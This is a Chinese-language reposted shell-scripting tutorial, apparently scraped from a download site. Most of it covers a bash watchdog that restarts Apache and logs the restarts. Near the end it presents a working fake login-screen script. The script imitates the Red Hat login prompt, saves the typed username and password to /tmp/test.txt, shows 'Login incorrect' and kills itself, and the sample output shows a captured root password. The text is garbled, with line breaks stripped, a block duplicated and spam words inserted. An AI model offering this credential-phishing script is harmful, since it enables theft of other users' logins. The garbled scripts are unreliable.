apache服务监控脚本—–自动重启apache的办法下载
系统大全为您分享
[root@localhost shell]# vi apache_monitor.sh #!/bin/bashwhile [ 1 ]do wget http://127.0.0.1/a.html > /dev/null 2>&1 if [ $? -ne 0 ] then service apache restart >/dev/null 2>&1 else wt=`cat a.html` if [ $wt != 'OK' ] then service apache restart > /dev/null 2>&1 fi fisleep 2done [root@localhost shell]# cat /www/a.html OK [root@localhost ~]# lsof -i:80COMMAND PID USER FD TYPE DEVICE SIZE NODE NAMEhttpd 32105 root 3u IPv4 409340 TCP *:http (LISTEN)httpd 32109 daemon 3u IPv4 409340 TCP *:http (LISTEN)httpd 32111 daemon 3u IPv4 409340 TCP *:http (LISTEN)httpd 32113 daemon 3u IPv4 409340 TCP *:http (LISTEN)[root@localhost ~]# killall httpd[root@localhost ~]# lsof -i:80[root@localhost ~]# lsof -i:80 在我杀死httpd进程的大概一两秒时间内,apache服务没有起来,但是很快就可以了, 如果知识兔是在实际生产中,知识兔可以把脚本中的sleep时间改成1.COMMAND PID USER FD TYPE DEVICE SIZE NODE NAMEhttpd 618 root 3u IPv4 411612 TCP *:http (LISTEN)[root@localhost ~]# lsof -i:80COMMAND PID USER FD TYPE DEVICE SIZE NODE NAMEhttpd 618 root 3u IPv4 411612 TCP *:http (LISTEN)httpd 623 daemon 3u IPv4 411612 TCP *:http (LISTEN)httpd 625 daemon 3u IPv4 411612 TCP *:http (LISTEN)httpd 627 daemon 3u IPv4 411612 TCP *:http (LISTEN) [root@localhost ~]# cd /shell/[root@localhost shell]# lsaccess.log a.html.176 a.html.254 a.html.332 a.html.410a.html a.html.177 a.html.255 a.html.333 a.html.411a.html.1 a.html.178 a.html.256 a.html.334 a.html.412a.html.10 a.html.179 a.html.257 a.html.335 a.html.413a.html.100 a.html.18 a.html.258 a.html.336 a.html.414a.html.101 a.html.180 a.html.259 a.html.337 a.html.415a.html.102 a.html.181 a.html.26 a.html.338 a.html.416a.html.103 a.html.182 a.html.260 a.html.339 a.html.417a.html.104 a.html.183 a.html.261 a.html.34 a.html.418a.html.105 a.html.184 a.html.262 a.html.340 a.html.419a.html.106 a.html.……………… 我擦,发现爆表了,忘记了,脚本还没有完善,需要把这东西全干掉 而且知识兔我还想要记录apache的重启时间和次数,所以还需要更改脚本 #!/bin/bashwhile [ 1 ]do wget http://127.0.0.1/a.html > /dev/null 2>&1 if [ $? -ne 0 ] then service apache restart >/dev/null 2>&1 echo “apache restart at `date +%y-%m-%d %H:%M:%S`” >> times.txt else wt=`cat a.html` if [ $wt != 'OK' ] then service apache restart > /dev/null 2>&1 echo “apache restart at `date +%y-%m-%d %H:%M:%S`” >> times.txt fi firm -rf a.htmlsleep 2done 然后知识兔我开始做测试 [root@localhost shell]# cat times.txt [root@localhost shell]# killall httpd[root@localhost shell]# cat times.txt [root@localhost shell]# cat times.txt apache restart at 13-10-15 17:47:27[root@localhost shell]# killall httpd[root@localhost shell]# cat times.txt apache restart at 13-10-15 17:47:27apache restart at 13-10-15 17:47:40 然后知识兔我去改a.html的内容 [root@localhost www]# cat a.html OKiii ———-内容不是OK后,脚本两秒钟自动重新下载一次 [root@localhost shell]# tail -f times.txt apache restart at 13-10-15 17:47:27apache restart at 13-10-15 17:47:40apache restart at 13-10-15 17:48:18apache restart at 13-10-15 17:48:20apache restart at 13-10-15 17:48:22apache restart at 13-10-15 17:48:24apache restart at 13-10-15 17:48:26apache restart at 13-10-15 17:48:28apache restart at 13-10-15 17:48:30apache restart at 13-10-15 17:48:32apache restart at 13-10-15 17:48:34apache restart at 13-10-15 17:48:37apache restart at 13-10-15 17:48:39apache restart at 13-10-15 17:48:41apache restart at 13-10-15 17:48:43apache restart at 13-10-15 17:48:45apache restart at 13-10-15 17:48:47apache restart at 13-10-15 17:48:49apache restart at 13-10-15 17:48:51 [root@localhost shell]# 当我改回来后,脚本停止日志输出,想要知道apache重启了多少次 [root@localhost shell]# wc -l times.txt | cut -d” ” -f119 #################################################### 顺便写了几个简单的脚本,觉得很有意思 #!/bin/basha=1b=5while [ $a -le $b ]do c=1 while [ $c -le $a ] do echo -n * let c++ done let a++ echo done [root@localhost shell]# ./1.sh ***************写一个简单的脚本,来套取别人的账号密码 #!/bin/bashclearcat /etc/issue| head -1echo -e `uname -r` “on an” `uname -m`echo -e -n `hostname | cut -d . -f1` “login:”read aaecho “passwd:”read -s bbecho -n “username:$aa password:$bb” >/tmp/test.txtsleep 3echo -e “”echo “Login incorrect”pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'`kill -9 $pid while [ $a -le $b ]do c=1 while [ $c -le $a ] do echo -n * let c++ done let a++ echo done [root@localhost shell]# ./1.sh ***************写一个简单的脚本,来套取别人的账号密码 #!/bin/bashclearcat /etc/issue| head -1echo -e `uname -r` “on an” `uname -m`echo -e -n `hostname | cut -d . -f1` “login:”read aaecho “passwd:”read -s bbecho -n “username:$aa password:$bb” >/tmp/test.txtsleep 3echo -e “”echo “Login incorrect”pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'`kill -9 $pid 运行效果如下 Red Hat Enterprise Linux Server release 5.5 (Tikanga)2.6.18-194.el5 on an i686localhost login: 运行效果如下 Red Hat Enterprise Linux Server release 5.5 (Tikanga)2.6.18-194.el5 on an i686localhost login:
[root@localhost ~]# cat /tmp/test.txt username:root password:asdf
以上就是系统大全给大家介绍的如何使的方法都有一定的了解了吧,好了,如果知识兔大家还想了解更多的资讯,那就赶紧点击系统大全官网吧。
本文来自系统大全http://www.win7cn.com/如需转载请注明!推荐:win7纯净版
下载仅供下载体验和测试学习,不得商用和正当使用。